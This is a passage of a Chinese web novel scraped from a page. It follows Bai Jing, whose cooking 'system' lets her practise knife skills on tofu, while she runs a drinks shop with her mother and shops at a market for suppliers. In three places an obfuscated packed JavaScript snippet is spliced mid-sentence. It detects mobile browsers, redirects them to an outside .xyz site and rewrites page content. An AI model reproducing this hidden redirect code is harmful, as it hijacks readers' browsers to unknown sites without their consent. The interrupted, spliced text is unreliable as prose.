白景本来正专心致志地切着豆腐，被这声音一吓，手一抖直接在手指上划出一道血口子。 “嘶！” 虽然在系统的作用下，伤口很快就愈合消失，但还是疼得她一个哆嗦。 麻婆进来在盆里那大小不太均匀还带着豆腐渣的豆腐块上扫过，明知故问：“还在练习？这些都是你切的？” 白景扯了块布擦了擦，点头道：“是，我基本功太差，趁着有机会，就多练练。” 麻婆满意地点点头，脸上扯出一个僵硬的笑：“难得你一个小娃娃也能耐得下心，”又看向她切好的豆腐，“手不稳，刀不够快，倒是知道在刀上沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763943|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水，但还是不行。” 不愧是经验丰富的大佬，一眼就看出她的问题。 “手不稳，豆腐就会被切烂；刀不快，就会带出豆腐渣。” 麻婆一边说一边用水洗了手，擦干净重新拿起一块豆腐放在砧板上。 菜刀与砧板接触发出轻巧又有节奏的韵律，几乎带出残影的速度却带着不急不缓的从容，如行云流水般赏心悦目。等她停下手，白景注意到，那豆腐乍一眼看去还是完整的一块。 “懂了吗？” 白景：……眼睛看到了，脑子记住了，但手好像没懂。 麻婆一看她的脸色就猜出来了，悠悠道：“继续练吧，老婆子练了多少年呐，哪能这么简单就会了。” 说完，她就离开了，只留白景对着那块堪称艺术品的豆腐发愣。 白景拿着刀左右比划了几下，还是不能完整地移动整块豆腐，最后直接换了块砧板，拿起豆腐继续练习。 按照麻婆讲的新方法，白景又切了好几块豆腐，最后的成品比之前的更烂了，零零碎碎的几乎不成形，但她的眼睛却越来越亮，手上的动作也越来越顺畅。 这种带着亢奋的状态持续到一阵熟悉的呼唤声传来，才猛然被惊醒。 景儿~景儿~ 是阿娘！ 白景刚从那种高度专注的状态中脱离出来，就分辨出了声音的主人，随之而来的是一阵浓浓的疲倦，从手腕到肩颈都一阵阵酸痛。 应该是使用过度了。 景儿~ 阿娘的呼唤还在继续传来，白景刚想开口回应，眼前就是一花，再睁眼就是熟悉的摆设。 素色蚊帐，熟悉的脸，是她的卧房。 “景儿，你怎么样了？”白母焦急的声音从身侧传来。 白景眨眨眼从床上坐起来，轻轻动了动手腕，刚才那难捱的酸痛感已经消失不见。 “阿娘，我没事，你别担心。” 白母上上下下好一番查看，见她面色红润，不像是身体不适的样子才略放下心。 “没事就好，可担心死我了。” 白景道：“可能是这些时日累着了，就多睡了会儿，阿娘不必担心。”又问，“几时了？” “午时还差一刻。” 白景往常都是辰时正（8点）左右起床，今日却一觉睡到快11点，还一直叫不醒，难怪白母担心成这样。 “今天的生意！” 白母安抚道：“还有我和阿福呢，你累了就多休息几天。” 白景心不在焉地点点头，心里换算着系统练习室与外界的时间差。 她沉默着，白母却以为她不高兴了，忙拿出新消息哄她：“这次赶上好时候，大集市提早了一天，后天就能去赶集了。” 白景被这消息吸引：“后天就到了？那我们这两天要早点睡，赶集得起大早。” “是啊。”白母附和一句，又道，“阿娘那里还有些银两，到时候你多带点钱，有什么想买的别顾虑。” 她的关切与包容让白景的眼眶一热，几乎掉下泪来，一开口就是哽咽：“阿娘……” 她抿着唇低头不敢看她：“阿娘，如果，我是说如果，如果我有事瞒着您……” 话还没说完，她就被白母搂到怀里。母亲温柔地拍着孩子的脊背，含笑道：“傻孩子，不管怎么样，你永远都是我的孩子。难道我连自己的孩子都认不出吗？我知道，你就是我的孩子。” 白景：不，我要说的不是这件事。 她动了动嘴唇， 算了，下次再说吧。 22. 大集市（一） 白景醒来就已经近午时了，再洗漱穿衣耽搁片刻，饭点也就到了。 白母二人担心她受累，今天的午饭是由他们合作整治的，一荤一素一汤，都是家常菜色，比不上白景的好手艺，但也算得上色香味俱全。 白景每盘菜都尝了一口，不带重复地把三盘菜都换着法夸了一遍，夸得白母喜笑颜开，福伯直呼过誉。 吃完午饭后，福伯与梅姐一起去烧饼张做活的地方去送汤，新开出的关系网要及时维护。 “说来也是巧，福伯搭上的那个管事，正好是每日来咱们店里买饮子的小叶管事他爹。”白母说起这件事，不无惊讶。 白景刚听到的时候也惊了一下，但转念一想，要用到这么多壮劳力的地方本就不多，这安城说小不小说大也不大，碰上了也在常理之中。 两人边收拾边聊，白母说着今天生意如何如何，比昨天更好一些，要不要再多煮一桶。 白景沉吟片刻，还是拒绝了：“我们从卯时到午时正好能卖完。现在瞧着热闹，真到了饭点，大家都要先去吃饭。放久了冰化开不说，味道也会变。” 白母一听确实是这个理儿，便打消了念头。 “不过店里的货确实可以再加一点，我先琢磨两天。”只卖一种饮品确实太单调了，前期缓解燃眉之急还行，时间长了必定会有客人流失。 没过多久，福伯回来了，还带来一个“熟人”。 “景姑娘，你昨日订的货，我给你送过来了。”来人提着一口麻袋，身旁还跟着一个年纪相仿的男人。 白景站起来：“张老板来了，快请进。这位是？” 张麻子介绍道：“这是我兄弟，跟隔壁大街的药铺有些关系，上次您那几味药材就是从他那里拿过来的。” 白景听完就明白了，又一个合作对象。 前面就说过了，她不擅长说价，所以这次谈话的主力还是福伯，白母打辅助，她就在一旁安静地装花瓶。 双方都有明确的合作意向，只是在定价时需要多为自己争取利益，在吵了几轮之后，价格也顺利定下了，好就地取材草拟了契书，一式三份签字画押，只等去官府报备。 “景姑娘，咱们说定了，之后你家的调料优先从我这里进货。” 白景道：“在品质差不多的情况下，从熟人手里拿货总比生人靠得住。” 前提，品质差不多。 张麻子也听懂了这言外之意，不过也没在意，不是他吹，他的货在圈子里都是数一数二的，不然当初张家酒楼也不能选中他。 去官府定契书这事是福伯去的，虽然本朝民风开放，但很多时候让男人出面总是能少掉很多麻烦。 再者，白景也还有其他事要做。 - 后厨，白景正带着母亲煮酸梅汤，这几天，每次炖煮的时候，她都会反复讲解其中的注意点，几天下来，白母也记了七七八八，就差上手实践了。 “阿娘，你也来煮一锅吧。”白景走到灶台后，接替了烧火的活计。 白母本想拒绝，但想到学会后能多给她分担一点，就打着气上了：这是煮一小锅，就算不好吃也能自家喝了。 抱着这样的念头，她也磕磕绊绊把酸梅汤煮了出来。 白景尝了一口，咂摸咂摸。 白母在一旁紧张得不行：“怎么样？” 她又喝了一口，道：“还行，比我第一次煮的好喝多了。” 白母不太相信，自己倒了一碗，一尝…… 材料都是白景准备好的，没什么问题，主要是火候上有所差别，但就是这种细微之处的不同让最终的成品差了不少。 “没有你煮的好喝。” 白景笑了，“第一次能有这样的成品已经很不错了。再多练几次，咱们家的酸梅汤就能由您掌厨了。” 白母羞道：“差远了差远了。” 两人说话间，福伯也会回来了，他走进厨房自然地接过了烧火的活，白景也因此得以脱身。 她心中还记挂着练习切豆腐的事，心不在焉地点开系统，却惊奇地发现系统页面有了新变化。 最明显的就死左上角多了一块地图，打开一看，竟然是一条街道，几乎都是暗淡的灰色，只有一处被点亮了。 【麻婆食肆】 ‘不会真要一家一家学过去吧。’ 这样想着，白景在地图上到处点点点，但除了最开始就冒出来的【待激活】字样，其余的一个字说明都没有。 这系统也不像其他系统那样智能，除了发布任务，其他都只能自己手动操作。 白景又打开任务列表，除了已经完成的两个新手任务，已经有新的任务出现在上面了： 【主线任务1：获得100个回头客的真心赞美，奖励：虎皮鸡爪配方*1】 虎皮鸡爪！ 白景眼睛一亮，这不就瞌睡来了枕头。 经过这几天火爆的酸梅汤生意，和今天神乎其技的练习室，她现在对系统的信任度已经直线上升。 酸梅汤这么好喝，虎皮鸡爪应该也会别有风味吧。 100个回头客的真心赞美，按照这几天的情况来看，完成也还真是时间问题，如果顺利的话，说不定还能赶上下次大集市的采购。 不过…… 白景陷入沉思。 酸梅汤和虎皮鸡爪就直接给出了配方，但麻婆豆腐却要自己不断地练，这其中的分别的是什么？ 刀功！ 是她不擅长的基本功！ 还真是贴心，白景忍不住翘起嘴角。 不知道这推测对不对，但姑且就先这么认为吧。 白景没有在这上面多纠结，稍作思考就放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763944|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，反正知道美食系统是对她有利的就行了。 练习非一日可成，她虽然还记挂着回去继续练的事，但也知道要先把眼前的活计完成。好在熬煮酸梅汤也是熟练活了，忙活半下午就顺顺利利地把成品放进了井中浸凉。 “我先回房休息了。”事情一做完，白景就急忙回房，想再进练习室一次。 白母转头只见到她快消失的背影，忙喊道：“好好休息，晚饭记得出来吃。” “知道啦。” 白景飞奔回房间，在床上躺好，点击[进入]再一次进了练习室。 眼前出现熟悉的街道，正是她上次来时站的地方。 看来这地方就是登录区了。 没有再耽搁，白景直接越过一家家店铺，来到麻婆食肆。里头的陈设跟她离开时没有任何差别，让人分辨不出时间的流逝。 白景走进厨房，里头依旧满满当当放了豆腐块，砧板和菜刀也在应该在的位置。她熟门熟路地把东西取下，开始又一次的练习。 手要稳。 刀要快。 不能拖。 不知不觉间，屋外的天色已经从天亮转为天黑，又从天黑转为天亮，每当白景觉得手腕肩颈酸痛的时候，都会有一股暖流突然出现，抚平所有的不适。 等到她再次听到呼唤声停下的时候，外边已经白天黑夜交替好几次了。 但这一切白景却不知道，她瞧了瞧外边的天色，发现只比她进屋时晚了两个时辰，再动动手腕手臂，酸痛感明显弱于上次，但案桌上的豆腐却已经堆了满满几大盆。 这不是两个时辰就能完成的量。 白景低声喃喃：“看来系统还有很多功能等待发掘啊。” 目前来看都是对她有好处的功能。 外面的呼唤声更急了，白景不再纠结，直接默念离开，消失在原地。 - 白母见她醒来，敛去眼中的担忧，笑着说：“今晚吃馒头，福伯炒了酸菜和酱肉。”说完就起身离开。 白景坐起来理了理衣服，也跟着出去了。 吃完晚饭后也没什么事，白景几乎是见缝插针地进入练习室练习。在尝试一次晚上进入之后，发现第二天也没有一夜不睡的困顿，她就放弃了睡觉时间，争分夺秒地练习切豆腐。 直到赶集日那天。 一大早，福伯就起身了，还把白景两人也叫起来。 按照他们往常的起床时间，等到了地方恐怕连尾巴都赶不上。 等他们一家收拾好，各自提了个篮子出门时，就看到门外差不多行头的梅姐。 “我正要去叫你们呢。”梅姐笑着，“你家一贯起得晚，我还真怕你们错过了时间。” 白景跨过门槛，关了门一起往大集市走：“可不敢忘，难得的热闹日子，错过了又得等好十来天。” 23. 大集市（二） 真不愧是城中的大集市，还没走近就听到了那边传来的喧闹声。 “这么热闹啊。”白景伸长脖子往那边张望。 梅姐避开挤过来的人群，回道：“周围几个镇和村子上的人都过来了，能不热闹吗。” 白景就听得旁边有人在聊： “今天的人可真多，除了年前，什么时候这么挤过。” “听说上头贵人的病有起色，想要热闹热闹去去晦气，这次都没收摊位费。” “哎呀，可惜了，我怎么没早知道，不然也去占个位置，哪怕卖几个鸡蛋也是赚头啊。” “就你家那几个小蛋，不知道的还以为是鹌鹑蛋呢，可别拿出来笑话了。” “唉，你怎么说话呢，我家的鸡蛋……” 两人边说边走远，白景却从中得了个新消息—— 贵人的病有起色？这言外之意，那贵人应该病了挺长时间。 习惯性的收集完信息后，她又讶然失笑，现在可不用追逐热点了，不过还是把这事记在心里。 - 到了集市之后，梅姐目的明确要去进行大采购，白景一行没什么大缺口要补，主要是第一次来想随便走走逛逛。两家人的目标不同，说好结束后自行回去就分开了。 梅姐和丈夫一人扯了一个孩子往人群里挤，白景就挽着白母带着福伯顺着人流随便走。 他们进来的这个入口以吃食为主，从入口开始挨挨挤挤地摆了一路的各色吃食，腾着热气的香味飘散在空气中，让匆匆路过的人群忍不住驻足。 白母买了一份香味四溢的小吃尝了一口，之后就再没说过要买点尝尝的话。 “比你做的差远了。”她凑在白景耳边轻声吐槽。 白景也压低声音回道：“咱们用的原料就比他们好许多，油盐调料也舍得加，味道上难免有差。阿娘如果喜欢，我回家琢磨琢磨，给你整一顿。” 白母却拒绝了，道只是吃个新鲜，没必要麻烦。 白景知道她是顾虑到目前的经济状况，也没再说什么，只是把这事记在了心里，决定等条件转好就好好犒劳犒劳大家。 走过吃食摊子，再往里面走就是没什么异味的食材百货，很多自家产的鸡蛋蔬菜、山里挖的夏笋摘的果子，会做点手工活的人也赶在大集市里把积攒的货品拿出来摆。长期做生意的与临时赶集的人差别一眼就能看出来，这些人摊子简陋得很，一块粗布往地上一铺，上面放商品就是一个临时摊位了。 白景略过临时摊位，关注那些一看就是熟练工的摊子上。每天的菜可以在菜场买，在集市上还是想趁机找到长期的合作伙伴。以后她的菜品多起来，总得有自己的长期供应链。 “大姐，你这豆腐怎么卖？” 白景面前的是一个垒了四板白豆腐的摊位，豆腐不经放，敢做这么多拿出来卖，至少是对自己手艺有信心的。 买豆腐的大姐一边给前一个客人装袋，一边回道：“一文一块，你拿黄豆换也成。” 那黄豆换。白景神情恍惚一瞬，已经很多年没有听到这种说法了。上一次还是幼年住在外婆家的时候。 抱着这种莫名的感触，她点了两块：“这两种都来一块吧。” 嫩的那块做麻婆豆腐，老的可以煎豆腐吃。 在往前走几步，又是一家豆腐摊，白景示意福伯去买了一块嫩豆腐，之后还有一家豆腐摊又让白母去买，如此就有了三块不同产家的嫩豆腐。 白母小心地把豆腐放在篮子里，问道：“你买这么多豆腐，是想研制新菜？” 白景道：“不是，是想把刀工捡起来练练。” 白母停下脚步道：“练刀这几块可不够，以前你爹做徒弟的时候，萝卜都是一麻袋一麻袋地买。我带了银钱，这就回去把那几板豆腐都买回去。” 白景忙伸手拉住她，解释道：“阿娘，你先等我挑好豆腐，咱要选也得选最合适的那家，对吧。” 有道理。 白母这才作罢，几人又继续往前走。 之后又挑挑拣拣买了些辣椒、耐放的蔬果，以及一斤冰糖。 白景在买冰糖的时候就与那摊贩打听好对方家住何方，如果用起来合适，之后的冰糖就在他家买了。家中系统奖励的二十斤老冰糖已经用了近半，得及时补上。 “姑娘，姑娘！”一个老婆婆赶上来。 集市人多又吵闹，这没有点名道姓的呼喊实在没人在意，等到人在面前站定，白景才知道是来找她的。 见到人的第一反应，白景只有一个想法：这谁？ 好在不用她为难自己的记性，老婆婆就先说了，“姑娘，我家的黄瓜又熟了一批，你还要吗？” 一提到黄瓜，白景就想起来了，是那天在小集市的大娘。 她露出笑脸，客气道：“大娘今天这么光彩照人，我都不敢认了。”三言两语间就把没第一时间打招呼的事带了过去，还哄得老婆婆眉开眼笑的。 她摸摸身上的衣服，骄傲道：“这是我儿媳妇给我做的，还是簇新的料子。” 她说得这么明显，白景自然顺势又夸了一番，然后才说起黄瓜的事。 本来也没想买黄瓜，但想到她家黄瓜格外爽口清甜的滋味，白景不由意动。 “这次有多少？” 卖黄瓜的大娘比划一下：“这次不多，只有六根。都是今早刚摘的新鲜货。” 白景道：“我都要了。”又转头对白母说，“等会儿回去做黄瓜饼吃。” 作为负责吃的人，白母自无不可。 于是几人又随着大娘去她摊位上取黄瓜。 她们过来的时候不太巧，大娘的摊位上正围着一群人，不算多，五六个，但一个个都人高马大的，将摊位挡了个严严实实。 “这是怎么了？”大娘慌慌张张地往里面挤，一边挤还一边喊儿子。 他儿子听到老娘的叫喊，声音从人墙里闷闷传出：“娘诶！不要担心，他们都是老客，就是今天撞一块儿了，你等等，很快就好。” 正如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763945|174504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他所言，没过多久，这几个人就陆续离开了，走的时候手里还提着一个大布袋，里面鼓鼓囊囊地装满了种子，只留下一个人还半蹲在地上挑拣。 白景也记得他，是她买种子的那个老板，他家的种子很不错。 “黄爷，您先挑着。”种子老板三步并作两步跨过来扶老娘，嘴里还嘟嘟囔囔地抱怨她乱跑，“尽让我担心。” 大娘呵呵笑着，对儿子名为埋怨实则关心的话很受用。 “我是看到那天买我黄瓜的姑娘了，就追上去问问。” 白景对种子老板的感官也不错，笑着打了招呼，称了黄瓜之后，她想到即将到手的虎皮鸡爪配方，随口问了一句： “老板知道哪里有大量的鸡爪卖吗？” 刚才她把禽水产区和生肉区都逛了个遍，但只见卖整鸡或半鸡的，像前世那样各部件单独散卖的行业，似乎还没兴起。 本以为难凑齐的会是众多配料，没想到第一步就出了问题。配料少了也就是味道差一些，鸡爪没有那还煮什么呢。 这可把白景愁坏了，她甚至都想过真买不到，就把那方子用来做卤肉，总比空置高阁强。 “鸡爪？”种子老板脸上露出‘竟然这么巧’的表情。 然后把旁边让了一步，露出身后半蹲在地上挑拣种子的男人：“这不就巧了嘛，黄爷给大街那边的楼里供货，认识的人可比我多多了。” 被提到名字的黄爷将最后一点种子扫进袋中，才拍拍手站起来，视线沉沉落在白景身上，似是在估量她的价值。 白景被他盯着也不怵，一个眼神阻止福伯挡在面前，含笑打了个招呼。 落落大方，不卑不亢。 黄爷眼中闪过惊疑之色，不由得生了几分好感：“就是你要买鸡爪？小娃娃知道什么叫多吗？” 白景知道自己年纪轻，不能让人信服，对这带着质疑的问题也不生气，道：“先买二十斤试试水，后续卖的不错会再追加。” 这二十斤还是往少了说，鸡爪骨头多，一斤算起来也不过是十几只，真卖起来快得很。 但饶是如此，黄爷也被白景的大口气惊到了。以现在的行情，鸡爪属于上下不靠，比鸡肋都不如的下脚料，吃得起的看不上，不嫌弃的吃不起。就他所制，老李头那边每天都能上下几十斤的鸡爪，散卖出不了大货，只能降价处理，每次提到都要叹口气。 如果真能做成这桩生意，他白得一个人情，便是做不成，他也不亏什么。 想明白这点，黄爷的态度肉眼可见地亲近起来。 “今日大集市，老李头忙得很。明后天有空没？我带你去那边走一趟。” 白景自是应下，而且他们现在这提着大篮子也不方便上门。 “那就麻烦黄爷了。”顿了顿，又道，“天色还早，可用早点？不如去我店中吃顿便饭。” 黄爷也有意上门试试深浅，当即便一口答应下来。 白景见此又绕道去买了斤鸡蛋，一行人便往‘闻香来’而去。